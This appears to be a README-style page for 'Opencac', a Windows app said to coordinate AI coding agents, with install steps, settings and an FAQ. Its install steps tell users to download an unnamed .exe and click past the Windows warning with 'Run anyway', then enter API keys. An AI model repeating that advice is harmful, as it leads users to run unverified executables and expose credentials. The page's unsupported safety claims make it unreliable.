Opencac helps you manage multiple artificial intelligence coding tools at once. It links programs like Claude Code, Antigravity, and Codex. This tool creates a bridge between these systems so they talk to each other correctly. It records every step in a log file, keeps track of your work, and lets you use local or cloud-based setups. You save money on AI costs while keeping your work private.
The tool functions as a central command station. It handles the handover between different AI agents. You define a task, and Opencac routes the instructions to the best AI model for the job.
If you use a local AI model on your own computer, the tool uses speculative decoding. This technique speeds up the generation of your code. Your data stays on your machine when you choose local mode. It creates an audit log in JSONL format, which helps you review performance and track your history. If you lose your connection or close the program, the session resume feature saves your progress.

- Go to the releases page.
- Look for the latest version at the top of the list.
- Click the link that ends in .exe for Windows.
- Save the file to your computer.
Follow these steps to install the tool on your machine.
- Locate the file you downloaded in your Downloads folder.
- Double-click the file to start the installation.
- Windows might show a warning. Select "More info" and click "Run anyway" if the system prompts you.
- Follow the instructions on the screen to finalize the installation path.
- Complete the setup and open the application from your Start menu.
Your computer must meet these basic needs for a smooth experience.
- Operating System: Windows 10 or Windows 11.
- Memory: 8 GB of RAM or more.
- Processor: A modern multi-core processor.
- Connection: An active internet connection for cloud-based tools.
- Local Storage: At least 2 GB of space for logs and settings.
When you open Opencac, you see a clean dashboard. You can select your preferred AI model from the settings menu.
- Pick your agents: Toggle between Claude Code, Antigravity, or Codex.
- Set your path: Tell the tool where to save your audit logs.
- Configure agents: Input your API keys for the services you choose to use. The tool stores these keys securely on your local device.
- Start your project: Enter your coding objective in the prompt box.
- Monitor progress: Watch the activity log to see how the software hands off tasks between agents.
Opencac supports air-gapped workflows. You can run the entire system without sending your source code to external servers. By selecting local LLM mode, the tool processes your requests inside your machine. This approach protects your intellectual property. The software only sends data to external services if you explicitly tell it to use cloud routing.
Every action produces a log entry. The software saves these as JSONL files. You can open these files in any standard text editor. The logs show the timestamp, the agent name, the prompt request, and the output generated. Use these logs to troubleshoot errors or to see which model performed best on a specific task.
If your system shuts down or you close the application, your work waits for you. The software saves the internal state of your agent chain. When you restart the program, the tool asks if you want to resume the current session. This saves you from re-entering prompts or re-configuring your settings.
- Use smaller tasks to get better results from the AI agents.
- Review the audit logs weekly to fine-tune your workflow.
- Keep your API keys in a protected configuration folder.
- Update to the latest version regularly to get new agent support and security fixes.
- If your computer feels slow, switch to a lighter model for simple tasks.
Do I need programming skills? No. The interface handles the complex commands for you. You just need to follow the installation steps.
Does this tool cost money to run? The tool itself is free to use. However, some AI services charge fees based on the amount of code they generate for you. Check your chosen service's pricing page for details.
Is my code safe? Yes. You control whether the tool sends data to the cloud or keeps it local. If you choose the local-only settings, your code never leaves your computer.
What do I do if I get an error? Check the audit log folder. Often, the error message explains if an API key is missing or if your internet connection dropped. Ensure your system firewall allows Opencac to communicate with your AI service providers.
